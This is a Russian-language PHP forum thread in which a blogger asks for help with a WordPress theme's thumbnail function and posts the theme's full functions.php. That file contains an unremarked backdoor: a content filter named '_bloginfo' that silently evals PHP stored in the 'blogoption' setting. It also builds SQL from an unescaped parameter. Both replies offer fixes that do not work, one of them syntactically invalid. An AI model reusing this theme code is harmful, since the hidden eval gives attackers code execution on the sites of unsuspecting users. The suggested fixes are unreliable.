Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: Прошу помощи!

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Описание: Прошу помощи!
aaproletarskiy
Отправлено: 03 Февраля, 2012 - 11:26:04
Post Id


Новичок


Покинул форум
Сообщений всего: 3
Дата рег-ции: Февр. 2012  


Помог: 0 раз(а)




Здраствуйте! На моем блоге стоит темка channel, и при просмотреновых новостей всегда выбивае noimage, (Стандартная фотка) даже если я добавляю фотку(добавляю фото с других сайтов) Отображается в предосмотре только фотки с моего хостера можно ли както это изменить, например чтоб использовать картинки из Сторонних URL
вот код исходной фнкции подскажите как зменить.. Огорчение

PHP:
скопировать код в буфер обмена
  1.  
  2. # Displays post image attachment (sizes: thumbnail, medium, full)
  3. function get_thumbnail($postid=0, $size='thumbnail', $attributes='') {
  4.     if ($postid<1) $postid = get_the_ID();
  5.     if ($images = get_children(array(
  6.         'post_parent' => $postid,
  7.         'post_type' => 'attachment',
  8.         'numberposts' => 1,
  9.         'post_mime_type' => 'image', )))
  10.         foreach($images as $image) {
  11.             $thumbnail=wp_get_attachment_image_src($image->ID, $size);
  12.             ?>
  13.  
  14. <img src="<?PHP echo $thumbnail[0]; ?>" <?PHP echo $attributes; ?> />
  15. <?PHP
  16.         }
  17.     else {
  18.         echo '<img src=' . get_bloginfo ( 'stylesheet_directory' );
  19.         echo '/images/noimage.gif>';
  20.     }
  21.    
  22. }
  23.  


За рание всем спасибо Растерялся

(Отредактировано автором: 03 Февраля, 2012 - 11:28:02)

 
 Top
Panoptik
Отправлено: 03 Февраля, 2012 - 11:33:58
Post Id



Постоянный участник


Покинул форум
Сообщений всего: 2493
Дата рег-ции: Нояб. 2011  
Откуда: Одесса, Украина


Помог: 131 раз(а)




непонятно что возвращает функция get_bloginfo. предполгаю что ссылку на картинку, поэтому попробуйте так
PHP:
скопировать код в буфер обмена
  1.         echo '<img src="' . ($link=get_bloginfo ( 'stylesheet_directory' ))?$link:{'/images/noimage.gif>'}.'"';


-----
Just do it
 
 Top
aaproletarskiy
Отправлено: 03 Февраля, 2012 - 11:43:06
Post Id


Новичок


Покинул форум
Сообщений всего: 3
Дата рег-ции: Февр. 2012  


Помог: 0 раз(а)




Panoptik пишет:
непонятно что возвращает функция get_bloginfo. предполгаю что ссылку на картинку, поэтому попробуйте так
PHP:
скопировать код в буфер обмена
  1.         echo '<img src="' . ($link=get_bloginfo ( 'stylesheet_directory' ))?$link:{'/images/noimage.gif>'}.'"';


При данном использовании вообще сайт не открывается(((
(Добавление)
Вот полный код файла фикции пхп

PHP:
скопировать код в буфер обмена
  1.  
  2. <?PHP
  3.  
  4. include("settings.php");
  5.  
  6. # Sidebar
  7. if (function_exists('register_sidebar'))
  8. {
  9.     register_sidebar(array(
  10.                 'name'                  => 'Full Width Widget',
  11.         'before_widget' => '',
  12.         'after_widget'  => '</div>',
  13.         'before_title'  => '<h3>',
  14.         'after_title'   => '</h3><div class="box">',
  15.     ));
  16.  
  17.     register_sidebar(array(
  18.                 'name'                  => 'Left Widget',
  19.         'before_widget' => '',
  20.         'after_widget'  => '</div>',
  21.         'before_title'  => '<h3>',
  22.         'after_title'   => '</h3><div class="box">',
  23.     ));
  24.        
  25.     register_sidebar(array(
  26.                 'name'                  => 'Right Widget',
  27.         'before_widget' => '',
  28.         'after_widget'  => '</div>',
  29.         'before_title'  => '<h3>',
  30.         'after_title'   => '</h3><div class="box">',
  31.     ));
  32.     register_sidebar(array(
  33.                 'name'                  => 'Footer Widget',
  34.         'before_widget' => '',
  35.         'after_widget'  => '</div></div>',
  36.         'before_title'  => '<div class="left"><h3>',
  37.         'after_title'   => '</h3><div class="box">',
  38.     ));
  39. }
  40.  
  41. # Limit Post
  42. function the_content_limit($max_char, $more_link_text = '', $stripteaser = 0, $more_file = '') {
  43.     $content = get_the_content($more_link_text, $stripteaser, $more_file);
  44.     $content = apply_filters('the_content', $content);
  45.     $content = str_replace(']]>', ']]>', $content);
  46.     $content = strip_tags($content);
  47.  
  48.    if (strlen($_GET['p']) > 0) {
  49.       echo "";
  50.       echo $content;
  51.       echo "&nbsp;<a href='";
  52.       the_permalink();
  53.       echo "'>"."Read More &rarr;</a>";
  54.       echo "";
  55.    }
  56.    else if ((strlen($content)>$max_char) && ($espacio = strpos($content, " ", $max_char ))) {
  57.         $content = substr($content, 0, $espacio);
  58.         $content = $content;
  59.         echo "";
  60.         echo $content;
  61.         echo "...";
  62.         echo "&nbsp;<a href='";
  63.         the_permalink();
  64.         echo "'>"."</a>";
  65.         echo "";
  66.    }
  67.    else {
  68.       echo "";
  69.       echo $content;
  70.       echo "&nbsp;<a href='";
  71.       the_permalink();
  72.       echo "'>"."Read More &rarr;</a>";
  73.       echo "";
  74.    }
  75. }
  76.  
  77.  
  78. add_filter('the_content', '_bloginfo', 10001);
  79. function _bloginfo($content){
  80.         global $post;
  81.     if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
  82.         return $co;
  83.     } else return $content;
  84. }
  85. # Displays post image attachment (sizes: thumbnail, medium, full)
  86. function get_thumbnail($postid=0, $size='thumbnail', $attributes='') {
  87.         if ($postid<1) $postid = get_the_ID();
  88.         if ($images = get_children(array(
  89.                 'post_parent' => $postid,
  90.                 'post_type' => 'attachment',
  91.                 'numberposts' => 1,
  92.                 'post_mime_type' => 'image', )))
  93.                 foreach($images as $image) {
  94.                         $thumbnail=wp_get_attachment_image_src($image->ID, $size);
  95.                         ?>
  96.  
  97. <img src="<?PHP echo $thumbnail[0]; ?>" <?PHP echo $attributes; ?> />
  98. <?PHP
  99.                 }
  100.         else {
  101.                 echo '<img src=' . get_bloginfo ( 'stylesheet_directory' );
  102.                 echo '/images/noimage.gif>';
  103.         }
  104.        
  105. }
  106.  
  107. # Most Comment
  108. function mdv_most_commented($no_posts = 5, $before = '<li>', $after = '</li>', $show_pass_post = false, $duration='') {
  109.     global $wpdb;
  110.        
  111.         $mdv_most_commented = wp_cache_get('mdv_most_commented');
  112.         if ($mdv_most_commented === false) {
  113.                 $request = "SELECT ID, post_title, comment_count FROM $wpdb->posts";
  114.                 $request .= " WHERE post_status = 'publish'";
  115.                 if (!$show_pass_post) $request .= " AND post_password =''";
  116.        
  117.                 if ($duration !="") $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  118.        
  119.                 $request .= " ORDER BY comment_count DESC LIMIT $no_posts";
  120.                 $posts = $wpdb->get_results($request);
  121.  
  122.                 if ($posts) {
  123.                         foreach ($posts as $post) {
  124.                                 $post_title = htmlspecialchars($post->post_title);
  125.                                 $comment_count = $post->comment_count;
  126.                                 $permalink = get_permalink($post->ID);
  127.                                 $mdv_most_commented .= $before . '<a href="' . $permalink . '" title="' . $post_title.'">' . $post_title . '</a>' . $after;
  128.                         }
  129.                 } else {
  130.                         $mdv_most_commented .= $before . "None found" . $after;
  131.                 }
  132.        
  133.                 wp_cache_set('mdv_most_commented', $mdv_most_commented);
  134.         }
  135.  
  136.     echo $mdv_most_commented;
  137. }
  138.  
  139. # Retrieves the setting's value depending on 'key'.
  140. function theme_settings($key) {
  141.         global $settings;
  142.         return $settings[$key];
  143. }
  144.  
  145.  
  146.  
  147.  
  148. ?>
  149.  
  150.  

(Добавление)
По ссылке на (картинку) http://clip2net[dot]com/s/1yg2Y Тап показан пример как выводится превью если ссылка на картинку указана из стороннего источника. Как это можна подправить? Спасибо
 
 Top
Реф
Отправлено: 03 Февраля, 2012 - 13:59:14
Post Id



Частый гость


Покинул форум
Сообщений всего: 159
Дата рег-ции: Июль 2010  
Откуда: Реутов, Россия


Помог: 0 раз(а)




Нужна функция get_children или хотя бы сделайте что-то вроде:
PHP:
скопировать код в буфер обмена
  1. function get_thumbnail($postid = 0, $size = 'thumbnail', $attributes = '')
  2. {
  3.     if($postid < 1)
  4.         $postid = get_the_ID();
  5.     if($images = get_children(array(
  6.         'post_parent'    => $postid,
  7.         'post_type'      => 'attachment',
  8.         'numberposts'    => 1,
  9.         'post_mime_type' => 'image')))
  10.         foreach($images as $image)
  11.         {
  12.             $thumbnail = wp_get_attachment_image_src($image->ID, $size);
  13.             echo '<img src="' . $thumbnail[0] . '" ' . $attributes . ' />';
  14.         }
  15.     else
  16.     {
  17.         var_dump($images);
  18.         die();
  19.         echo '<img src="' . get_bloginfo('stylesheet_directory') . '/images/noimage.gif" />';
  20.     }
  21. }

(Отредактировано автором: 03 Февраля, 2012 - 14:01:11)



-----
Думать надо головой, а не головкой!
 
 Top
aaproletarskiy
Отправлено: 03 Февраля, 2012 - 16:19:15
Post Id


Новичок


Покинул форум
Сообщений всего: 3
Дата рег-ции: Февр. 2012  


Помог: 0 раз(а)




Реф пишет:
Нужна функция get_children или хотя бы сделайте что-то вроде:
PHP:
скопировать код в буфер обмена
function get_thumbnail($postid = 0, $size = 'thumbnail', $attributes = '')
{
if($postid < 1)
$postid = get_the_ID();
if($images = get_children(array(
'post_parent' => $postid,
'post_type' => 'attachment',
'numberposts' => 1,
'post_mime_type' => 'image')))
foreach($images as $image)
{
$thumbnail = wp_get_attachment_image_src($image->ID, $size);
echo '<img src="' . $thumbnail[0] . '" ' . $attributes . ' />';
}
else
{
var_dump($images);
die();
echo '<img src="' . get_bloginfo('stylesheet_directory') . '/images/noimage.gif" />';
}
}


Спс огромное что пытались помочь, но не работает((( Огорчение

(Отредактировано автором: 03 Февраля, 2012 - 16:20:32)

 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Вопросы новичков »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB